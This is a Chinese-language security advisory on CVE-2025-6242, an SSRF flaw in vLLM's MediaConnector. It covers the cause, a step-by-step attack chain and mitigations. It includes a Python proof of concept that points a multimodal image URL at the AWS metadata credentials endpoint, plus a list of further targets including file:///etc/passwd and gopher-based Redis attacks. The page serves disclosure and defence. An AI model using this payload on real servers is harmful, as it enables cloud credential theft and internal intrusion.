IPBUF安全漏洞报告
English
CVE-2025-6242 CVSS 7.1 高危

CVE-2025-6242:vLLM MediaConnector类SSRF漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-6242
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM(多模态功能模块中的MediaConnector类)

相关标签

SSRF服务端请求伪造vLLM多模态MediaConnector高危漏洞CVSS7.1Red HatAI安全大模型推理

漏洞概述

CVE-2025-6242是vLLM项目中多模态功能模块MediaConnector类存在的一个服务端请求伪造(SSRF)漏洞。该漏洞由Red Hat安全团队([email protected])发现并报告,CVSS 3.1评分为7.1分,属于高危级别。vLLM是一个高性能的大语言模型推理引擎,广泛应用于AI模型部署和服务场景。该漏洞位于MediaConnector类的load_from_url和load_from_url_async方法中,这两个方法负责从用户提供的URL中获取和处理多媒体数据(如图像、音频等)。然而,在实现过程中,开发者未对目标主机进行充分的限制和验证,导致攻击者可以构造恶意的URL,迫使vLLM服务器向内部网络资源发起任意HTTP请求。SSRF漏洞通常被用于探测内网拓扑、访问云元数据服务(如AWS的169.254.169.254)、绕过访问控制以及进一步实施内网渗透攻击。由于vLLM通常部署在企业内网或云环境中,且具有较高的网络权限,该漏洞的潜在危害不容忽视。该漏洞于2025年10月7日公开披露,CVSS向量表明该漏洞通过网络利用,需要低权限认证,但无需用户交互,可能对机密性造成高影响,对完整性造成低影响,对可用性造成高影响。

技术细节

该SSRF漏洞的核心问题在于vLLM项目的MediaConnector类中load_from_url和load_from_url_async两个方法的URL处理逻辑存在缺陷。在vLLM的多模态处理流程中,当用户提交包含图像或音频等多模态数据时,系统需要从用户提供的URL下载这些媒体内容进行处理。

漏洞原理:
1. MediaConnector类的load_from_url方法直接接收用户提供的URL作为输入参数;
2. 方法内部使用Python的requests库或类似HTTP客户端直接向该URL发起请求;
3. 在请求过程中,未对URL的目标主机进行任何限制或验证;
4. 攻击者可以提供指向内部网络资源的URL(如http://127.0.0.1:8080/admin、http://169.254.169.254/latest/meta-data/等);
5. vLLM服务器将以自身的网络权限和身份向这些内部地址发起请求。

利用方式:
1. 攻击者首先需要获得vLLM服务的低权限访问权限(认证要求为PR:L);
2. 通过vLLM的多模态接口提交一个精心构造的请求,其中包含指向内部资源的恶意URL;
3. vLLM服务器接收到请求后,MediaConnector类的load_from_url方法会自动从该URL获取内容;
4. 攻击者可以通过响应内容或时间差异等方式获取内部网络的信息;
5. 在云环境中,攻击者可以访问云元数据服务获取IAM凭据等敏感信息;
6. 利用获取的信息进一步渗透内网,可能导致更严重的安全事件。

该漏洞的攻击复杂度为高(AC:H),因为攻击向量虽然为网络(AV:N),但实际利用需要一定的认证权限和对vLLM内部架构的了解。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者通过合法途径或弱口令等方式获取vLLM服务的低权限访问凭证,CVSS向量中PR:L表示需要低权限认证。
STEP 2
步骤2:构造SSRF载荷
攻击者构造包含恶意URL的多模态请求,将image_url或audio_url字段指向内部网络资源,如云元数据服务(169.254.169.254)、内网管理后台或本地服务端口。
STEP 3
步骤3:触发SSRF请求
通过vLLM的多模态聊天接口提交恶意请求,MediaConnector类的load_from_url方法在处理用户提供的媒体URL时,自动向攻击者指定的内部地址发起HTTP请求。
STEP 4
步骤4:信息收集与数据泄露
vLLM服务器成功访问内部资源后,将获取的内容返回给攻击者。攻击者可以获取云环境IAM凭据、内网拓扑信息、敏感配置文件等。
STEP 5
步骤5:内网横向渗透
利用获取的敏感信息(如云凭据),攻击者可以进一步访问内网其他服务,提升权限,或对内部系统发起进一步攻击。
STEP 6
步骤6:服务可用性影响
攻击者还可以通过SSRF发起大量内部请求或访问大文件,导致vLLM服务器资源耗尽,影响服务的可用性(CVSS中A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-6242 - vLLM MediaConnector SSRF Proof of Concept # This PoC demonstrates the SSRF vulnerability in vLLM's MediaConnector class # The vulnerability exists in load_from_url and load_from_url_async methods import requests import json # Target vLLM server endpoint VLLM_SERVER = "http://target-vllm-server:8000" # Step 1: Authenticate to obtain access token (low privilege required) # In a real scenario, obtain a valid API key or session token auth_headers = { "Authorization": "Bearer <your_api_token>", "Content-Type": "application/json" } # Step 2: Craft a malicious request with SSRF payload # The URL points to internal cloud metadata service ssrf_payload = { "model": "vllm-multimodal-model", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { # Malicious URL pointing to AWS metadata service "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } }, { "type": "text", "text": "Describe this image" } ] } ], "max_tokens": 300 } # Step 3: Send the request to trigger SSRF # The vLLM server will fetch the URL from the internal metadata service response = requests.post( f"{VLLM_SERVER}/v1/chat/completions", headers=auth_headers, json=ssrf_payload ) # Step 4: Analyze the response for leaked information print("Status Code:", response.status_code) print("Response:", json.dumps(response.json(), indent=2)) # Alternative targets for SSRF exploitation: # - http://127.0.0.1:8080/admin (local services) # - http://192.168.1.1/ (internal network devices) # - http://[::1]/ (IPv6 localhost) # - file:///etc/passwd (local file access via file protocol) # - gopher://internal-service:6379/ (Redis exploitation via gopher protocol)

影响范围

vLLM < 最新修复版本(具体版本号待官方确认)
vLLM包含MediaConnector类的多模态功能模块的所有受影响版本

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在vLLM服务器所在的主机上配置防火墙规则,限制出站流量,禁止访问内网IP地址段和云元数据服务地址;2)如果vLLM部署在云环境中,配置安全组或网络ACL规则,限制实例的出站访问;3)暂时禁用vLLM的多模态功能,特别是涉及URL加载的部分;4)实施URL白名单策略,仅允许访问业务所需的合法外部域名;5)监控vLLM服务器的出站网络流量,及时发现异常请求;6)确保vLLM服务的认证机制足够强壮,防止低权限账户被滥用;7)考虑使用反向代理或API网关,在请求到达vLLM之前进行URL过滤和验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表